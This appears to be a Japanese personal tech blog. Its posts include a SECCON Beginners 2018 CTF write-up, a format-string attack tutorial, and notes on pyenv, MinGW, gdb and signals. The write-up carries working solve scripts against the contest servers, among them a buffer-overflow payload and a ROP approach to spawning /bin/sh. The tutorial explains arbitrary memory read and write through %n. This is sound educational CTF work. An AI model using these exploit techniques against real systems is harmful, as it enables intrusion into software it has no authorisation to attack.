fr33f0r4ll

自分用雑記

apt upgradeでpyenv: xxxx: command not foundが出たときの対処法

command not found

いつも通りapt upgradeしようとしたらiconvコマンドが見つからなくて失敗したのでその対処法。

iconvに限らずコマンドが見つからない系の問題には似たような対処法ができると思う。

コマンドが使えるかどうか確認してみる

普通にターミナルからコマンドを使ってみて使えるかどうかを確認してみる。 今回の場合はpyenvのコマンドが見つからないエラーが出た。 もし探しているのがそのコマンドでいいなら、pyenvで環境を切り替えれば解決するはず(pyenv自体もう非推奨というか、別の方法が推奨されているので乗り換えた方がいいらしい)。

正しくないコマンドが使われている場合

今回の場合は探しているiconvはpythonのコマンドではなかったはずなので、他にiconvが存在していないかどうかを調べる。 whereis iconvlocate iconvを使えば、名前や正規表現でファイルを探せる。

whereisは実行ファイルやソースファイル、マニュアルを探すので、コマンドを探したいときはこっちの方がいい。

locateは全ファイルから探索する(あらかじめ作成したデータベースから検索するので高速に動く)ので、どこにあるか分からない場合に使える。

見つけたiconvコマンドをフルパスで実行すると正常に動作したため、どうやら参照するコマンドが違うようである。 この辺はpyenvの問題かもしれない、現在の環境で存在しないコマンドでもサジェストを出すために補足するようになっているらしく、シェルが実行ファイルのパス探索を止めてしまう。 pyenvのパスはPATHの後半に登録すべきかもしれない。

解決策は簡単で、pyenvより先に本来の実行ファイルが参照できるようにしてやればいい。 iconv/usr/binに存在しているなら、PATH="/usr/bin/:$PATH"とすれば本来のiconv`コマンドが先に参照される。

コマンド自体がなかった場合

インストールしよう。

SECCON Beginners CTF 2018 Writeup

1286ptで45位だった。

Misc

Welcome

IRCのトピック、なぜかロードのタイミングのせいで表示されずしばらく解いてなかった。

plain mail

pcapが降ってくる。 中身を見てみるとタイトル通り平文でメールが送信されている。 wiresharkからSMTPの通信を復元すると、送信された3通のメールを読める。 一通目はこれから送るファイルの内容についてで、暗号化されたファイルとパスをメールで送信してくるということが分かる。 2通目は暗号化されたファイル、3通目はそのパスとなっている。

2通目のファイルではお馴染のbase64エンコードされたファイルが送られている。 復号したデータをファイルに書き込んでfileでチェックするとzipであることが分かる。 解凍しようとするとパスを聞かれるので3通目の_you_are_pro_を入力する

解凍できるとflag.txtが出てくる

てけいさんえくすとりーむず

別に手計算する必要もないのでpythonを使った。 この程度ならシェル芸でもできそう。 100問単純な四則演算が降ってくるのでそれを解く。 Pythonみたいな動的言語ならevalとかあるのでそれを使うとパースする必要がなくて楽。 でも危険なので本当は避けた方がいいはず。

スクリプトは一応コレ。

from pwn import *

io = remote('tekeisan-ekusutoriim.chall.beginners.seccon.jp', 8690)

log.info(io.readuntil('------\n'))
log.info(io.readuntil('------\n'))

log.info("START!")

for i in range(100):
  log.info(io.readuntil(')'))

  line = io.readuntil('=')
  line = line.replace('=', '')
  log.info("exp: " + line)
  
  ans = eval(line)
  log.info("ans: " + str(ans))
  io.sendline(str(ans))

io.interactive()
io.close()

pwntoolsはリモートに繋ぐときに楽なので使ってしまう。

Find the message

ディスクイメージが降ってくるので解析する問題。 とりあえずマウントすると2つだけはメッセージが取得できる。 ファイル名が1_of_3とかなので1つ足りないことになる。 foremostを使うと復元できた。

1つ目のメッセージはテキストでbase64、解読すればフラグの1/3がゲットできる。

2つ目のメッセージはpngファイルだが開こうとすると開けない。 バイナリエディタか何かで見ると先頭の8バイトほどがXになっているのが分かる。 勘のいい人か知ってる人ならここでマジックヘッダが上書きされていることに気づける。 マジックヘッダとは、ファイルの種類を識別するために先頭に付けられるデータで、ファイルの種類ごとに決まっていたりする。 勘が鈍いとadobeRDFか何かに引っかかる、引っかかりました。 単にマジックヘッダが潰されていて認識できないだけなので、適当に調べるか既存のpngからマジックヘッダを復元して開くとフラグの1/3をゲットできる。

3つ目のメッセージはディスク上から削除されている。 このメッセージの復元は単にツールを使っただけなので基本原理について書いておく。

ディスクは通常決まった領域にどんなファイルがどこに保存されているのかを保持する目次を持っている。 普通パソコンがファイルを表示したりするときはその決まった領域を見ているのであって、ディスク全体を調べてファイルが存在しているかどうかを調べたりはしない(時間がかかるので)。 そして、パソコンなんかのディスクからファイルを削除するとパソコンからは認識できなくなる。 かといってディスクの上から無くなったわけではなく、単にファイルを識別するための目次から消されただけで実体はディスク上に残っている。 6GBくらいのデータを削除するときに0を6GB書き込んでいたらクソほど時間がかかるので普通はデータの上書きなんかはしないようになっている。 そこでさっきのマジックヘッダーなんかの情報を利用して、ディスク全体を調べれば消されたファイルでも内容が分かったりする。 そうやって削除されたファイルを復元したりする。

復元するとPDFファイルになっていて、開くとフラグの1/3がゲットできる。

3つのメッセージからフラグを復元できたので投げるだけ。

Crypto

Veni, vidi, vici

来た見た勝った、だったかな。 part1, part2, part3の3つのメッセージが入ったzipが降ってくる。 part1とpart2はカエサル暗号になっている。 スペースを含むアルファベットのみの暗号ならまずrot13を試す。

part1は鍵が13なのでnkf -rでそのまま読めた。

part2は鍵が違うのでブルートフォースでそれっぽいのを見つけるか、文章が同じような文章であることが単語から分かるのでそこから推測してもいい。

part3はぱっと見で混乱するが、part1とpart2を解いてから見ると文字を逆向きにしたような感じになっているのが分かる。 勘がいいと初見で分かるくらい見やすい。 読み解こう。

part3が面白かった。

RSA is power

文字通り力技だった。 最初は乗数とpowerをかけていてフェルマー法を使うやつかと思ったが解けず。 msieveで解いたらあっというまだった。 自作ツールに拘り時間を浪費してしまった、次は勝つ。

Streaming

ストリーム暗号の問題で、暗号化スクリプトが貰える。 暗号化方法を見ているとすぐに分かるが、乱数発生器に渡しているSeedがCで剰余を取られている。 Cが大分小さいのでブルートフォースで解ける。 あとは解読用のスクリプトを書いて無理矢理解読するだけになる。 コメントを付けたして綺麗にした解読コードはこんな感じ。

import string

class Stream:
    A = 37423
    B = 61781
    C = 34607
    def __init__(self, seed):
        self.seed = seed % self.C  # vuln! i can brute force attack

    def __iter__(self):
        return self

    def next(self):
        self.seed = (self.A * self.seed + self.B) % self.C
        return self.seed


# in python2, there isn't isprintable
def is_printable(text):
    for ch in text:
        if ch not in string.printable:
            return False
    return True


cipher = open('encrypted', 'rb').read()

# key is in 0 ~ C
for i in range(0, 34607):
    g = Stream(i)
    plain = ''

    for i in range(0, len(cipher), 2):
        # a / 256 and a % 256 means a is divided into upper byte and lower byte
        [ch1, ch2] = cipher[i:i+2]
        dec_num = ord(ch1) + ord(ch2) * 256
        # if g returns same random-seq, we can decrypt cipher
        dec_plain = dec_num ^ g.next()
        plain += hex(dec_plain)[2:].rjust(4, '0').decode('hex')

    if is_printable(plain):
        print(plain)

実際には最後の表示判定は無しで目grepしたが、このコードなら正解だけが表示できる。

割と簡単で、暗号について知らなくても剰余から鍵が少ないことに気付けると思う。 初心者に丁度良く解ける難易度の暗号の鍵空間について知ってもらえる問題なので良い問題だと思う。

Well known

分からなかった。 指定された接続先にアクセスすると、鍵っぽいのが表示されてデータ入力を求められるようになっている。 入力された後に表示されるのは暗号文だろうか? 問題の名前から既知平文攻撃かなにかだと思うけど何の暗号か良く分からなかった。

Rev

Simple Auth

バイナリが降ってきて認証を突破しろと言われる。 gdbか何か実行していくとauth関数があり、この中で文字列が構築されて単純に比較していることが分かる。 何の暗号化も処理もなく単に比較しているだけなので、gdbで構築された後スタックで見るか、ltraceを使えばフラグが分かる。

Activation

.netとc#windowsが分からないので死んだ。 ディスクがどうとか言ってたのでディスク周りで何かあるのかもしれない。

crackme

死ぬほど頑張ってangr使った。 angrをコマンドライン引数に適用する方法が分からずまず死んだ。 次に、特に制約もなく使うとangrがクソほどメモリを持っていってPCが死んだ。

仕方なくマジメに解析してからangrを使うことにした。 解析するとmain関数でのprintfから入力値がフラグになっていて、32文字であることが分かる。

そして、呼ばれている関数のうちひとつは16回のループで何かしら判定を行っていて、その後に呼ばれる関数はargv[1]の16バイト目を引数に取っていることが分かる。 つまり前半16文字と後半16文字をそれぞれ処理しているっぽいことが分かる。

さらに、成功判定の箇所でグローバルなフラグが0かどうかで判定を行っていることが分かった。

前半16文字の判定をしている関数を見てみると、謎の文字列を構築し何らかの処理と判定をしてるっぽいことが分かった。 その処理はよく分からんかった。 でも途中でフラグに1を格納していたので、angrにそのアドレスを通らないパスを見つけるようにお願いした。 そしてフラグゲット。

angrの拝み方はこんな感じ。

import angr
import claripy

addr = 0x0040093c
goal = (0x0040099e)
avoid = [0x40081d, 0x40086d, 0x4008bd, 0x40090d, 0x40064d, 0x40069d, 0x400707, 0x400757]
key_length = 32

p = angr.Project('./crackme')
arg1 = claripy.BVS('arg1', 8*key_length)
state = p.factory.entry_state(args=["./crackme", arg1], add_options={'BYPASS_UNSUPPORTED_SYSCALL'})

for b in arg1.chop(key_length):
    state.add_constraints(b != 0)

pg = p.factory.simgr(state, immutable=False)
e = pg.explore(find=goal, avoid=avoid)


for path in pg.found:
    key = path.state.se.any_str(arg1)
    print("KEY: {}".format(key))

割と直ぐ見つかってびっくりした。 強い人は普通に逆アセンブルして解析して解いてた、つよい。

message from the future

解析すらしてない。 どうも入力位置と入力値だけで出力が決まるっぽいのでブルートフォースでいけそうな感じがある。 あとでやるリスト筆頭。 これもangrで解析できたりするんだろうか? 使い方分かりづらい...

Writeupを見たらまさかの日付依存、date使ってたりしたっぽい。 どうやって気付いたんだ...

pwn

condition

そんなに難しくはないので初心者向け。 解析するとバッファの下にある変数を0xdeadbeefにするしかないことがすぐ分かる。 あとは入力値を構築するだけでいい。 出力可能な文字以外をどうやって入力すればいいか悩んでた人がいたので書いておく。

echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde'

これだけでもフラグが取れる。 リトルエンディアンで0xdeadbeefがバイト区切りで逆順になっていることに注意すれば問題ない。 もちろん検証で引っかかった。

実際には面倒なのでpwntoolsを使った。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='amd64')
exe = './condition'

def start(argv=[], *a, **kw):
  '''Start the exploit against the target.'''
  if args.GDB:
    return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
  elif args.REMOTE:
    return remote('pwn1.chall.beginners.seccon.jp', 16268)
  else:
    return process([exe] + argv, *a, **kw)


# gdb
gdbscript = '''
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()

log.info(io.read(timeout=0.1))
payload = 'A' * 0x2c + p32(0xdeadbeef)
io.sendline(payload)

io.interactive()

バッファオーバーフローさえ知っていれば楽に解ける問題で、初心者向けだと思う。 というか自分でもこんなの書いたなあ。

bbs

沽券に関わるので死ぬ気で解いた。 checksecなんかで確認するとNXくらいしかセキュリティ機構がない。

バイナリの中身はmainしかなく、シグネチャも残っててgets使ってるからbofし放題なので楽勝かと思った。 とりあえず任意のアドレスをripに設定できるとこまでいったが、そこから詰まってしまった。 systemをわざわざ使っているので要は/bin/shを呼べばいいと思ったが中々引数として指定できなかった。

解決策はgetsでメモリの適当な箇所に/bin/shと書き込むということだった。 partial RELROなのでとりあえずそこに書き込むことにした。 後はROPでちまちまやるだけになる。 pop rdi; retはあったので任意の引数で関数を呼び出せるので、fgetssystemを順に同じアドレスを引数にして呼び出せばいい。 何故かmain関数内のfgetsを使おうと馬鹿なことをしていたが、普通にpltで呼び出せばいい。 フラグゲットだぜ。

seczon

解けなかった。 最初にパッと見でheap問かと思って、こんなもんできるかって投げてたが、どうも書式文字列バグがあったらしい。 後でやる。

web

Greeting

adminになればフラグが見れる問題で、Cookievalueがadminかどうかのチェックがあるので、開発者ツールか何かで書き換えるだけ。

Gimme your comment

CSRFかと思ったら偽フォームにボットが釣られるのでUser-Agent見れるらしい、解けなかった。

SECCON Goods

解けなかった。 多分裏でSQL投げてて、jsからクエリを投げるパラメータを見つけて、そこにインジェクションするだけなんだろうけど分からん。

Gimme your comment revenge

見てもいない。

今回の敗因

  • Windows知らんかった。
  • 自作ツールに拘って時間を浪費した。
  • Web分からん。
  • 暗号あんまり知らなかった。

Windowsもっと使いこなしたいのでC#やりたい。 dvorakjpが見事にレガシーなので置き換えたいなあ。

自作ツールちゃん爆死。 流石に因数分解ガチ勢に叶わないにしろ、ブルートフォースすら効率最悪なのはよろしくない。 とりあえず素数判定と愚直なブルートフォースは実装したい。

徳丸本を読む、折角お値段据置きで第2版出るし。 でもweb系嫌いなんだよなあ。

CryptoのラストはElGamal署名らしい、ぱっと見で分からなかったので要勉強。

感想

beginnersということで参加を躊躇ったが何のことはなくまだまだ初心者だった。 問題は全体的にCTF初心者向けではあったが、ガチ初心者向けとはやっぱりいかなかったと思う。 CTFは前提としてある程度スクリプトが書けたり、ツールを自分である程度調べられたり、Linux使えたりしないといけないのでどうしてもハードルが高いなあと感じる。 Web分からなかったけど簡単だったらしく配点が低くなったのは幸運だった。

途中でexecveするときのgdbデバッグ方法

普通にset follow-exec-mode sameとかset follow-fork-mode parentとかやっても何故か子プロセスおっかけちゃって解析できなかったのでメモ。

まずset detach-on-fork offをする。 そうするとforkしてもデタッチせずにプロセスを止めておいてくれる。 止めてあるプロセスはinfo inferiorsで一覧が見れる。 解析するプロセスを変えるときはinferior 1とかで。

windows, gcc, long double, prinf

Cでlong doubleをフォーマット出力しようとしたら失敗したので備忘録。
調べてみると解決策っぽいのが見つかったが日本語情報はなかったのでメモしておく。 stackoverflowにあった。

問題

環境はWindows10、MinGW64のターミナルからgccで、long doubleが16バイトの環境になってる。
コードはこんな感じ。

#include <stdio.h>

int main() {
    long double ld = 0.1L;

    printf("sizeof(long double): %d\n", sizeof(long double));  
    printf("sizeof(double): %d\n", sizeof(double));

    printf("ld = %Le\n", ld);

    return 0;
}

コンパイルして実行

$ gcc test.c
$ ./a.exe
sizeof(long double): 16
sizeof(double): 8
ld = 3.205300e-317

MinGWだと内部でWindowsのruntimeで出力しようとしているのが原因っぽい。 Windowsだとsizeof(long double) == 8だけど、MinGWgccだとsizeof(long double) == 16だから不整合が起きる。

解決策

解決策は-D__USE_MINGW_ANSI_STDIOのオプションをコンパイル時に指定すればいい。 こんな感じになる。

$ gcc test.c -D__USE_MINGW_ANSI_STDIO
$ ./a.exe
sizeof(long double): 16
sizeof(double): 8
ld = 1.000000e-001

こうすればANSI規格かなんかになっているstdioを優先して使ってくれるような感じで上手くいくっぽい。 詳しく調べてないから具体的には分からない。

long double自体ビット長が環境によって結構違うっぽい(80bitとかもあるみたい)なので、使うのはできるだけ避けるかsizeofでビット長が想定している長さかをチェックした方がいい。
gccなら拡張機能として128bitの浮動小数点があるのでそっちが使えるかもしれない。

exe解析メモ

Winでの解析のメモ

ヘッダファイル

Win APIを使うバイナリで定数値マクロが使われていたときに探す場所。 C:\Windows\Program Files(x86)\Windows Kits\10\Include\

pwn基礎 書式文字列攻撃1

書式文字列攻撃

printfの%xなどのフォーマットを利用してメモリを読み書きする。 入力した文字列を直接printfの第一引数に指定できるときに可能になる。

確認方法

この脆弱性があるかどうかを確認するには、%xなどを入力してみて出力を確認してみるのがてっとり早い。 %xが16進数値に変わっている場合はおそらく攻撃が可能なはずである。 入力値が変形されるような場合ではこの方法は使えない。

他には静的解析や動的解析で直接printfの引数を確認する方法もある。 操作できるものが第一引数になっているかどうかを確認すればいい。

仕組み

値の読み込み

Cではprintfに文字列へのポインタを以下のように渡すことができる。

char* str = "%x\n";
printf(str);

もし以下のように文字列がユーザからの入力でも、%xや%sなどのフォーマットは機能する。

char str[1024];

fgets(str, 1024, stdin);
printf(str);

この場合、スタック上で引数に対応する位置にある値が表示されたりする。

ダイレクトパラメータアクセスという仕組みを使い表示する引数の位置を指定することができる。 たとえば%3$xとすると、3番目の引数を16進数で表示する。 これを書式文字列攻撃に利用すると、スタック上で100番目にある値を読み出すといったことができるようになるため、入力文字数が少ないような場合でも離れたアドレスの値を知ることができる。

これで書式文字列攻撃で任意の位置の値を読むことができるようになった。 スタックには他の関数が積んだリターンアドレスやスタック上のバッファのアドレスなんかがあったりするので、それを読み込むことでASLRやPIEによるランダム化を回避したりできる。

書き込み

次は書き込みである。 これには%n系をフォーマットを使う。 printfで%nを使うとこれまで出力したバイト数をスタックに書き込むことができるようになる。 本来は以下のように使うんじゃないかな。

int output_len = 0;
int a, b;

a = 0x100;
b = 0x1000;
printf("%d, %d\n%n", a, b, &output_len);
printf("output len: %d\n", output_len);

出力は以下のようになる。

256, 4096
output len: 10

改行を含めて10文字なので、出力された10バイトがoutput_lenに設定されていることが分かる。 フォーマット文字列の長さではなく出力されたバイト数が格納されるところがポイントで、余白指定などを利用すると短い入力でも32ビットのアドレスを指定することも可能になる。 ちなみに%nでもダイレクトパラメータアクセスが使えるので、スタック上の好きな位置を指定できる。 ただし、そのアドレスに格納されている値をアドレスとして値を設定するので注意。

これで書き込む値を指定できるようになった。 次に問題になるのは書き込み先である。 スタック上に任意の値を設定できないといけないが、好都合なことに書式文字列攻撃が可能な問題ではまさに書式文字列として指定されているユーザの入力を格納したバッファが存在している。 このバッファは大抵の場合関数ローカルな配列になっているので、スタック上の近い位置に存在していたりする。 これを利用して、入力の最初に書き込み先のアドレスを指定し、そのあとに%nを配置するようにすれば任意のアドレスへ書き込みができるようになる。

まとめ

最初に書式文字列攻撃で読み出しを行い必要な情報を取得する。 次にその情報を元に攻撃対象を決める、Partial RELROならGOT overwriteが、libcがあるならret2libcが大抵の場合狙うべき攻撃になると思う。 そして実際に書き込んで攻撃する。 というのが攻撃の流れになる。

Linux! C! signal!

過去のpwn問でsignalを使う問題があったけど、今までよく知らなかったのでメモ。

あらかじめ定義されているシグナルごとにハンドラを登録し、シグナルを受け取ったときにハンドラの処理を実行して割り込みを処理をする。

linuxだとこんな感じになる。

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// ハンドラ関数
// signumにはシグナルを表す数値が渡される
void test_signal_handler(int signum) {
  printf("sigint! %d\n", signum);
  exit(1);
}

int main(int argc, char** argv){
  // test_signal_handlerをSIGINTを受け取ったときのハンドラとして登録している
  // SIGINTはプロセスを終了させるためのシグナル、C-c
  signal(SIGINT, test_signal_handler);

  // SIGUSR1, SIGUSR2などのユーザが定義できるシグナルもある
  // ハンドラはシグナルを無視するSIG_IGNなどの値を設定することもできる
  signal(SIGUSR1, SIG_IGN);

  sleep(3600);
  
  return 0;
}

このプログラムを実行すると1時間スリープするが、実行中にCtrl-Cを押したりしてSIGINTを送るとメッセージを表示してすぐに終了するようになっている。 sleep中でも割り込んで違う処理を実行させられることが確認できる。

解析するときにはsignalに渡されているアドレスから関数の位置を特定しないといけない。

raiseを使えばプロセスにシグナルを送信できる。